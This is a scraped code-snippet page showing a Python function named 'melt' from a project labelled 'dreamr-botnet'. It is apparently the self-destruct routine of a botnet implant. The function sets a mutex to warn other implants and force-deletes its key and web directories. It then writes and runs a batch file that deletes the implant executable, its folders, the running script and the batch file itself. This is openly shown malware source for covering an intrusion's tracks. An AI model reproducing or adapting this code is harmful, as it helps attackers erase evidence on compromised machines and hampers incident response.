core.py 文件源码

python
阅读 18 收藏 0 点赞 0 评论 0

项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码
def melt(filename = BinaryLocation):
    # Try and make the dreamr danger mutex to warn other implants
    try:
        mutex = win32event.CreateMutex(None, True, "dreamcatchr-melting")
    except:
        pass
    try:
        things = [WebPath, BinaryLocation, DreamrLocation, sys.argv[0], KeyPath]
        for thing in things:
            unhideFile(filename)
            #execute("attrib", ["-R", "-A", "-S", "-H", filename], False)
    except:
        pass
    try:
        execute("rd", ["/S", "/Q", KeyPath], False)
        execute("rd", ["/S", "/Q", WebPath], False)
    except:
        try:
            execute("rd", ["/S", "/Q", WebPath], False)
            execute("rd", ["/S", "/Q", KeyPath], False)
        except:
            pass

    countdown = 3
    while countdown > 0:
        countdown -= 1
        debug("core", "the implant will melt in %s seconds" % countdown)
        time.sleep(1)

    batchName = "mlt.bat"
    batch = open(batchName, "w")
    batch.write("@echo off\n")
    batch.write("ping 127.0.0.1 -n 2\n")
    batch.write("del dreamr.exe\n")
    batch.write("rd /S /Q www\n")
    batch.write("rd /S /Q cert\n")
    batch.write("del \"%s\"\n" % filename)
    batch.write("del \"%s\"\n" % sys.argv[0])
    batch.write("del \"%s\"\n" % batchName)
    batch.close()
    subprocess.Popen([batchName])
    return

# Update Implant
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号